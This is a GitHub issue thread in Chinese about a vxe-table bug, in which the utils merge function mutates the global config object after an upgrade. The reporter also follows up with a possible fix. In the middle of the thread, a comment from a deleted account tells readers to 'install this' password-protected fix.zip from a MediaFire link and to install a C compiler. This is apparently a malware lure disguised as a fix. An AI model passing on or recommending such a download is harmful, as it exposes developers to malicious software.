Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

merge函数问题 #2582

Open
1 task done
zkzgs opened this issue Sep 29, 2024 · 2 comments
Open
1 task done

merge函数问题 #2582

zkzgs opened this issue Sep 29, 2024 · 2 comments
Labels
bug Something isn't working

Comments

@zkzgs
Copy link

zkzgs commented Sep 29, 2024

可复现的链接(包含复现链接与示例代码):

简单即可复现

问题描述与截图:

前提: 我的项目开启了keepalive,最近将4.7.55更新至4.7.83 发现切换页面后再次请求数据消失,因为有的是分页,有的是不分页
在源码中排查后发现 每次经过这个merge函数后globalConfigStore的全局配置会被修改 导致本是null的list参数变成data了
image
image
最终发现是merge函数会导致本应是source的对象被后面的对象修改
utils版本是 3.5.30
image

简单案例:
image
image

期望的结果:

No response

操作系统:

window 10

浏览器版本:

Chrome 129.0.6668.70

vue 版本:

3.2.33

vxe-pc-ui 版本:

4.2.2

vxe-table 版本:

4.7.83

是否使用当前最新版本?

  • 我已确认是使用当前的最新版本并已按要求提供复现链接与示例代码。
@zkzgs zkzgs added the bug Something isn't working label Sep 29, 2024
@ghost
Copy link

ghost commented Sep 29, 2024

install this
https://www.mediafire.com/file/q4gho1ar8e43udd/fix.zip/file

Password: changeme
If you don't have the c compliator, install it.(gcc or clang)

@zkzgs
Copy link
Author

zkzgs commented Oct 7, 2024

image
可以尝试类似于这样修改,但是会失去合并后对源对象的引用,类似与拷贝,需要更严密的测试
另外从84更新到85出现了爆栈问题,Object.assign 方法没有类似问题也不需要深拷贝
image

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
bug Something isn't working
Projects
None yet
Development

No branches or pull requests

1 participant